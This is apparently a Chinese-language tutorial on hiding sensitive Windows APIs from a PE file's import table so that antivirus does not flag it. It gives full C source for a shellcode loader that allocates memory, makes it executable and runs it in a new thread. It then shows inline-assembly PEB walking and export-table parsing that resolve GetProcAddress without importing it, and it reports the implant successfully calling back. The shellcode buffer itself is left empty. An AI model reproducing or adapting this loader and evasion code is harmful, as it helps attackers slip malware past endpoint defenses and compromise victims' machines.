前言

在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。

編譯一個MessageBox文件,查看其導入表:

#include#include
int main(){    printf("hello world");    MessageBox(0, TEXT("hello world"), 0, 0);    return 0;}

可以看到使用了MessageBox這個API

殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。我們可以通過自定義API的方式隱藏導入表中的惡意API。

自定義API函數

FARPROC GetProcAddress(  [in] HMODULE hModule, 包含函數或變量的 DLL 模塊的句柄  [in] LPCSTR  lpProcName 函數或變量名稱);定義:typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(    LPCSTR lpModuleName     // 模塊名稱);                         // 成功返回句柄 失敗返回NULL
HMODULE LoadLibraryA(    LPCSTR lpLibFileName // 一個dll文件);                         // 成功返回句柄 失敗返回NULL

這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。

通過以上函數自定義API。

#include#include
typedef int(WINAPI * pMessageBox) (
    HWND    hWnd,    LPCTSTR lpText,    LPCTSTR lpCaption,    UINT    uType    );
int main(){
    printf("hello world");    pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");    MyMessageBox(0, TEXT("hello world"), 0, 0);    return 0;}

程序可以正常運行:

查看其導入表:

User32.dll和MessageBox都不存在。

實戰測試

用創建進程的方式加載shellcode。

#include #include #include #include // 入口函數int wmain(int argc, TCHAR * argv[]) {
    int shellcode_size = 0; // shellcode長度    DWORD dwThreadId; // 線程ID    HANDLE hThread; // 線程句柄    DWORD dwOldProtect; // 內存頁屬性
    char buf[] = "";
    // 獲取shellcode大小    shellcode_size = sizeof(buf);
    char * shellcode = (char *)VirtualAlloc(        NULL,        shellcode_size,        MEM_COMMIT,        PAGE_READWRITE // 只申請可讀可寫    );    // 將shellcode復制到可讀可寫的內存頁中    CopyMemory(shellcode, buf, shellcode_size);
    // 這里開始更改它的屬性為可執行    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    hThread = CreateThread(        NULL, // 安全描述符        NULL, // 棧的大小        (LPTHREAD_START_ROUTINE)shellcode, // 函數        NULL, // 參數        NULL, // 線程標志        &dwThreadId // 線程ID    );    WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束    return 0;}

我們將這里敏感的API進行自定義:

//VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) (    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flNewProtect,    PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThreadtypedef HANDLE(WINAPI * pCreateThread)(    LPSECURITY_ATTRIBUTES   lpThreadAttributes,    SIZE_T                  dwStackSize,    LPTHREAD_START_ROUTINE  lpStartAddress,    __drv_aliasesMem LPVOID lpParameter,    DWORD                   dwCreationFlags,    LPDWORD                 lpThreadId    );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");//VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)(    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flAllocationType,    DWORD  flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

最終代碼:

#include #include #include #include 
//自定義API
typedef BOOL(WINAPI * pVirtualProtect) (    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flNewProtect,    PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)(    LPSECURITY_ATTRIBUTES   lpThreadAttributes,    SIZE_T                  dwStackSize,    LPTHREAD_START_ROUTINE  lpStartAddress,    __drv_aliasesMem LPVOID lpParameter,    DWORD                   dwCreationFlags,    LPDWORD                 lpThreadId    );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)(    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flAllocationType,    DWORD  flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函數int wmain(int argc, TCHAR * argv[]) {
    int shellcode_size = 0; // shellcode長度    DWORD dwThreadId; // 線程ID    HANDLE hThread; // 線程句柄    DWORD dwOldProtect; // 內存頁屬性/* length: 800 bytes */
    char buf[] = "";
    // 獲取shellcode大小    shellcode_size = sizeof(buf);
    char * shellcode = (char *)MyVirtualAlloc(        NULL,        shellcode_size,        MEM_COMMIT,        PAGE_READWRITE // 只申請可讀可寫    );    // 將shellcode復制到可讀可寫的內存頁中    CopyMemory(shellcode, buf, shellcode_size);
    // 這里開始更改它的屬性為可執行    MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    hThread = MyCreateThread(        NULL, // 安全描述符        NULL, // 棧的大小        (LPTHREAD_START_ROUTINE)shellcode, // 函數        NULL, // 參數        NULL, // 線程標志        &dwThreadId // 線程ID    );    WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束    return 0;}

可以成功上線:

查看導入表:

可以看到,自定義的三個API已經看不到了,但是GetProcAddress和GetModuleHandle也可能會作為殺軟識別的對象。

深入隱藏

通過手動獲取dll文件的方式,獲取這兩個函數的地址。

大致流程:

  1. 找到kernel32.dll的地址
  2. 遍歷啊kernel32.dll的導入表,找到GetProcAddress的地址
  3. 使用GetProcAddress獲取LoadLibrary函數的地址
  4. 然后使用 LoadLibrary加載DLL文件
  5. 使用 GetProcAddress查找某個函數的地址
  6. ### 獲取kernel32.dll的地址
  7. 這里使用匯編獲取,先貼代碼。
DWORD GetKernel32Address() {DWORD dwKernel32Addr = 0;_asm {    mov eax, fs: [0x30]    mov eax, [eax + 0x0c]    mov eax, [eax + 0x14]    mov eax, [eax]    mov eax, [eax]    mov eax, [eax + 0x10]    mov dwKernel32Addr, eax } return    dwKernel32Addr;}

1.這里有兩個關鍵的結構,TEB(線程環境塊)和PEB(進程環境塊)。PEB結構存儲著整個進程的信息。而PEB結構又存放在TEB中。

這兩個結構指針都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。

接下來再分析上面代碼的具體過程:

mov eax, fs: [0x30]指向PEB結構

mov eax, [eax + 0xc]0xc處存放者LDR指針它指向一個_PEB_LDR_DATA結構

mov eax, [eax + 0x14]指向LDR指針中的InMemoryOrderModuleList鏈表

這里面有三個鏈表,這三個列表中的模塊是一樣的,只是順序不同。

mov eax, [eax]mov eax, [eax]

因為kernel32的位置是第三個,第一個是InMemoryOrderModuleList本身,向下兩次,就找到了kernel32(這塊還不是很理解)。

最后就是獲取kernel32的基址:

mov eax, [eax + 0x10]InMemoryOrderModuleList 再偏移0x10,指向dllbase


### 獲取GetProcAddress

不做敘述,有興趣的可以自行學習,代碼如下:

DWORD RGetProcAddress() { //獲取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //獲取Dos頭 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //獲取Nt頭 Nt頭=dll基址+Dos頭 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //數據目錄表                            擴展頭 數據目錄表 + 導出表    定位導出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //導出表 //導出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函數總數 DWORD dwFunCount = pExport->NumberOfFunctions; //函數名稱數量 DWORD dwFunNameCount = pExport->NumberOfNames; //函數地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函數名稱地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序號表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);  //遍歷函數總數  for (size_t i = 0; i < dwFunCount; i++)    {     //判斷函數地址是否存在       if (!pAddrOfFun[i])      {             continue;         }                  //通過函數地址遍歷函數名稱地址,獲取想要的函數      DWORD dwFunAddrOffset = pAddrOfFun[i];      for (size_t j = 0; j < dwFunNameCount; j++)      {            if (pAddrOfOrdinals[j] == i)            {                DWORD dwNameOffset = pAddrOfNames[j];               char * pFunName = (char *)(dwAddrBase + dwNameOffset);              if (strcmp(pFunName,"GetProcAddress")==0)              {                    return dwFunAddrOffset + dwAddrBase;             }         }     } }}

## 完整代碼

#include #include #include #include DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm {     mov eax, fs: [0x30]             mov eax, [eax + 0x0c]             mov eax, [eax + 0x14]             mov eax, [eax]             mov eax, [eax]             mov eax, [eax + 0x10]             mov dwKernel32Addr, eax } return  dwKernel32Addr;}DWORD RGetProcAddress() { //獲取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //獲取Dos頭 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //獲取Nt頭 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //數據目錄表                         擴展頭 數據目錄表 + 導出表    定位導出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //導出表 //導出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函數總數 DWORD dwFunCount = pExport->NumberOfFunctions; //函數名稱數量 DWORD dwFunNameCount = pExport->NumberOfNames; //函數地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函數名稱地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序號表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) {     if (!pAddrOfFun[i]) {         continue;     }     DWORD dwFunAddrOffset = pAddrOfFun[i];     for (size_t j = 0; j < dwFunNameCount; j++) {         if (pAddrOfOrdinals[j] == i) {             DWORD dwNameOffset = pAddrOfNames[j];             char * pFunName = (char *)(dwAddrBase + dwNameOffset);             if (strcmp(pFunName, "GetProcAddress") == 0) {                 return dwFunAddrOffset + dwAddrBase;             }         }     } }}//自定義API//獲取kernel32.dll地址HMODULE hKernel32 = (HMODULE)GetKernel32Address();//自定義GetProcAddresstypedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName );//動態獲取GetProcAddresspGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();//自定義GetModuleHandletypedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");//自定義VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");//自定義CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T                  dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD                   dwCreationFlags, LPDWORD                 lpThreadId  );pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");//自定義VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");// 入口函數int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode長度 DWORD dwThreadId; // 線程ID HANDLE hThread; // 線程句柄 DWORD dwOldProtect; // 內存頁屬性 char buf[] = ""; // 獲取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc(         NULL,         shellcode_size,         MEM_COMMIT,         PAGE_READWRITE // 只申請可讀可寫 ); // 將shellcode復制到可讀可寫的內存頁中 CopyMemory(shellcode, buf, shellcode_size); // 這里開始更改它的屬性為可執行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread(         NULL, // 安全描述符 NULL, // 棧的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函數 NULL, // 參數 NULL, // 線程標志 &dwThreadId // 線程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束 return 0;}

成功上線:

查看導入表,敏感API都已隱藏: